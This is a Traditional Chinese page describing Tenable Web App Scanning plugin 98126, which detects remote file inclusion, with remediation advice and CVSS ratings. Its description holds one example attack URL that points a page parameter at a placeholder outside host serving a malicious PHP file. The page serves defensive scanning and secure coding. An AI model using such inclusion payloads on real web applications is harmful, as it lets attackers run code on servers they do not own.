遠端檔案引入

critical Web App Scanning Plugin ID 98126

概要

遠端檔案引入

說明

Web 應用程式偶爾會使用參數值來儲存伺服器稍後需要用到的檔案位置。

在錯誤頁面中經常可看到這方面的例子,例如,錯誤頁面的實際檔案路徑儲存在 `example.com/error.php?page=404.php` 參數值中。

當參數值 (亦即伺服器呼叫的檔案路徑) 可以用遠端資源的位址取代時,會發生遠端檔案引入,例如:`yoursite.com/error.asp?page=http://anothersite.com/somethingBad.php`

在某些情況下,伺服器會處理擷取的資源,因此,如果資源包含符合所使用架構 (ASP、PHP、JSP 等等) 之程式碼的伺服器端程式碼,伺服器可能會將該資源視為 Web 應用程式的一部分來執行。

掃描程式發現可以用外部資源取代參數值,然後讓伺服器擷取該值,並將其內容包含在回應中。

解決方案

建議永遠不要使用未受信任的資料來形成要包含的檔案位置。
為驗證資料,應用程式應確保允許所提供的檔案值。為此,請將參數值與允許的檔案清單比對,對參數值執行加入白名單作業。如果提供的值不符合白名單中的任何值,則伺服器應重新導向至標準錯誤頁面。
在某些要求動態內容的情況下,可能無法針對受信任的資源清單執行驗證,因此清單也必須變成動態的 (隨著檔案變更而更新),或執行篩選以移除無關的使用者輸入 (例如分號、句號等),且僅允許「a-z0-9」。
另外,建議不要將敏感檔案儲存在 web root 中,並且目錄強制執行的使用者權限應正確無誤。

另請參閱

http://en.wikipedia.org/wiki/Remote_File_Inclusion

http://projects.webappsec.org/Remote-File-Inclusion

Plugin 詳細資訊

嚴重性: Critical

ID: 98126

類型: remote

已發布: 2017/3/31

已更新: 2023/7/13

掃描範本: api, full, pci, scan

風險資訊

VPR

風險因素: High

分數: 7.4

CVSS v2

風險因素: Critical

基本分數: 10

媒介: CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C

CVSS 評分資料來源: Tenable

CVSS v3

風險因素: Critical

基本分數: 9.8

媒介: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

CVSS 評分資料來源: Tenable

參考資訊